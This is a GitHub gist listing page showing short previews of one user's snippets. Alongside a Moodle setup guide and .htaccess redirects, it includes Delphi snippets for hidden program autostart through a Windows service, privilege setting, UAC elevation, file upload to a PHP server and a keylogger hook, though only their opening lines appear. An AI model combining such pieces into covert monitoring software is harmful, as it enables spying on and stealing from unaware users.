Skip to content

Instantly share code, notes, and snippets.

@rano9999
rano9999 / moodle_on_do.md
Created August 3, 2019 23:25 — forked from burningTyger/moodle_on_do.md
How To Install Moodle via git with Postgres, Nginx and PHP on an Ubuntu 16.04 VPS

How To Install Moodle via git with Postgres, Nginx and PHP on an Ubuntu 16.04 VPS

Introduction

Moodle is a common online learning platform used in many educational settings around the world. This tutorial aims at giving admins a solid and speedy foundation for serving moodle to a small to medium sized institution. The setup focuses on simple maintenance and fast updates.

Prerequisites

  • Create a small droplet with Ubuntu 16.04 (64Bit is great)
  • Follow the tutorial on setting up Ubuntu 16.04
  • git should be installed by default
@rano9999
rano9999 / .htaccess
Created February 14, 2020 12:25 — forked from ScottPhillips/.htaccess
Common .htaccess Redirects
#301 Redirects for .htaccess
#Redirect a single page:
Redirect 301 /pagename.php http://www.domain.com/pagename.html
#Redirect an entire site:
Redirect 301 / http://www.domain.com/
#Redirect an entire site to a sub folder
Redirect 301 / http://www.domain.com/subfolder/
@rano9999
rano9999 / debloatNox.md
Created July 24, 2020 14:09 — forked from Log1x/debloatNox.md
Debloating & Optimizing Nox

Debloating Nox

Nox, despite being the most feature-filled Android emulator, has a lot of negativity surrounding it due to their antics when it comes to making income off of their program. It is known for running repeated advertisments in the background, calling home and passing along system information (outside of your Android instance) as well as a vast amount of potentially sensitive data in an encrypted payload back to their multitude of servers. With the following preventitive measures, we can stop a majority of this happening as well as greatly improve the overall performance.

  1. Download and Install a fresh copy of Nox. The latest version is fine (for now). If you already have it installed, that is fine too. No need to reinstall.

  2. Enable Root Mode on Nox by clicking the gear icon and then checking the Root Startup box.

  3. Install a new Launcher from the Play Store. ANYTHING but Nox's default. I suggest [Nova Launcher](https://play.google.com/s

@rano9999
rano9999 / gist:647674a41b4f39cdbe98cdf918ae4169
Created October 19, 2021 06:59
Delphi XE and PHP Post request to send the file to the host and save it on the server.
Delphi XE and PHP Post request to send the file to the host and save it on the server.
//php go.php file
<?php
if(!empty($_FILES)) //if not empty file
{
if($_FILES['files']['error'] > 0) //if error is greater than zero
$err[] = $errUpload[$_FILES['files']['error']]; //output error
@rano9999
rano9999 / gist:5ed60c127f67459fd2e70ea93e48860e
Created October 19, 2021 06:59
Delphi XE and PHP Send ip GET request and get the country, city, OS version, browser and user agent.
Delphi XE and PHP Send ip GET request and get the country, city, OS version, browser and user agent
«DELPHI»
Put the library next to the program
Libraries download here: https://yadi.sk/d/Ofvn3yrx3NKvtf
var
http:TIdHTTP;
begin
@rano9999
rano9999 / gist:f8c8248e96f5c75c20f370bc96098b73
Created October 19, 2021 06:59
Delphi XE Download file from HTTP site
uses Wininet;
function GetInetFile(const fileURL, FileName: String): boolean;
const BufferSize = 1024;
var hSession, hURL: HInternet;
Buffer: array[1..BufferSize] of Byte;
BufferLen: DWORD;
f: File;
sAppName: string;
begin
@rano9999
rano9999 / gist:f33bf123d0b2a3968acf6e711b52446a
Created October 19, 2021 07:00
Delphi 7 Hidden autoloading of a file from under services.
We create a service and from the service we do an auto launch of the program every time the system is started.
To begin, create a new project Service Application
Customize it
Interactive := True;
name := 'Service name';
display name := 'Service Description';
Here is the code for the auto launch program
@rano9999
rano9999 / gist:1b210597e2388b29e70bb367e3a4d222
Created October 19, 2021 07:00
Delphi XE Get a list of current user privileges and set privileges.
Delphi XE Get a list of current user privileges and set privileges.
// SEE LIST OF PRIVILEGES
const
SE_CREATE_TOKEN_NAME = 'SeCreateTokenPrivilege';
SE_ASSIGNPRIMARYTOKEN_NAME = 'SeAssignPrimaryTokenPrivilege';
SE_LOCK_MEMORY_NAME = 'SeLockMemoryPrivilege';
SE_INCREASE_QUOTA_NAME = 'SeIncreaseQuotaPrivilege';
@rano9999
rano9999 / gist:0cc0bc0420d40046b612993b5fac74b8
Created October 19, 2021 07:01
Delphi XE Running a program with UAC administrator rights
Delphi XE Running a program with UAC administrator rights
uses ShellExecute;
function Run_App_Uac(filename, load_hidden: string): boolean;
var
shell_now: TShellExecuteInfo;
begin
if (FileExists(filename)) then
begin
@rano9999
rano9999 / gist:f679bcba2e407e58e9242accef62fc3e
Created October 19, 2021 07:01
Delphi XE Keylogger Hook
Delphi XE Keylogger Hook
unit Unit1;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Clipbrd;